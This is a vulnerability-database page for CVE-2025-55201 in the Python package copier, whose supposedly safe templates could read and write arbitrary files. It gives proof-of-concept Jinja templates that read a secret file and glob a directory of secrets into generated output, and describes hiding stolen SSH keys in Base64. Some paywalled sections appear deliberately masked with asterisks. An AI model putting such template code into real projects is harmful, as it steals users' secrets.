N/A

CVSS Score

-

CVSS Score

Basic Information

Concerned about an active attack path?

Talk to our security experts and see Miggo in action.

Miggo Vulnerability Database

→

CVE-2025-55201

CVE-2025-55201: Copier's safe template has arbitrary filesystem read/write access

Impact

Copier's current security model shall restrict filesystem access through Jinja:

Files can only be read using {% include ... %}, which is limited by Jinja to reading files from the subtree of the local template clone in our case.
Files are written in the destination directory according to their counterparts in the template.

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently read and write arbitrary files because we expose a few pathlib.Path objects in the Jinja context which have unconstrained I/O methods. This effectively renders our security model w.r.t. filesystem access useless.

Arbitrary read access

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations, perhaps "masks" them with Base64 encoding to reduce detection risk, and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

Read known file:

echo "s3cr3t" > secret.txt
mkdir src/
echo "stolen secret: {{ (_copier_conf.dst_path / '..' / 'secret.txt').resolve().read_text('utf-8') }}" > src/stolen-secret.txt.jinja
uvx copier copy src/ dst/
cat dst/stolen-secret.txt

Read unknown file(s) via globbing:

mkdir secrets/
echo "s3cr3t #1" > secrets/secret1.txt
echo "s3cr3t #2" > secrets/secret2.txt
mkdir src/
cat <<'EOF' > src/stolen-secrets.txt.jinja
stolen secrets:
{% set parent = (_copier_conf.dst_path / '..' / 'secrets').resolve() %}
{% for f in parent.glob('*.txt') %}
{{ f }}: {{ f.read_text('utf-8') }}
{% endfor %}
EOF
uvx copier copy src/ dst/
cat dst/stolen-secrets.txt

Arbitrary write access

Miggo Vulnerability Database

→

CVE-2025-55201

CVE-2025-55201:

N/A

CVSS Score

-

CVSS Score

Basic Information

Is this CVE running in your environment?

Easily map the attack path and prioritize which CVEs are a threat to your organization

Validate Exposure

Technical Details

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
copier	pip	< 9.9.1	9.9.1

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability analysis identified that the root cause of the arbitrary file system access was the exposure of pathlib.Path objects within the Jinja2 rendering context. The provided patch directly addresses this issue by modifying the Worker._render_context method in copier/_main.py. The diff clearly shows that the values for src_path, dst_path, and answers_file are changed from returning a direct path object to returning a pathlib.PurePath object. PurePath objects are designed for path computations without providing I/O methods, which effectively prevents templates from reading from or writing to the filesystem. Therefore, the Worker._render_context function is the exact location where the vulnerability existed, as it was responsible for creating the insecure context that could be exploited by a malicious template. The changes in Worker.jinja_env are a secondary fix to ensure that the new PurePath objects can be correctly serialized, but the core vulnerability is in the context creation.

Vulnerable functions

Only Mi**o us*rs **n s** t*is s**tion

Vulnerability Intelligence
Miggo AI

Unlock WAF rules for this CVE

Generate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance

Get WAF rules

WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.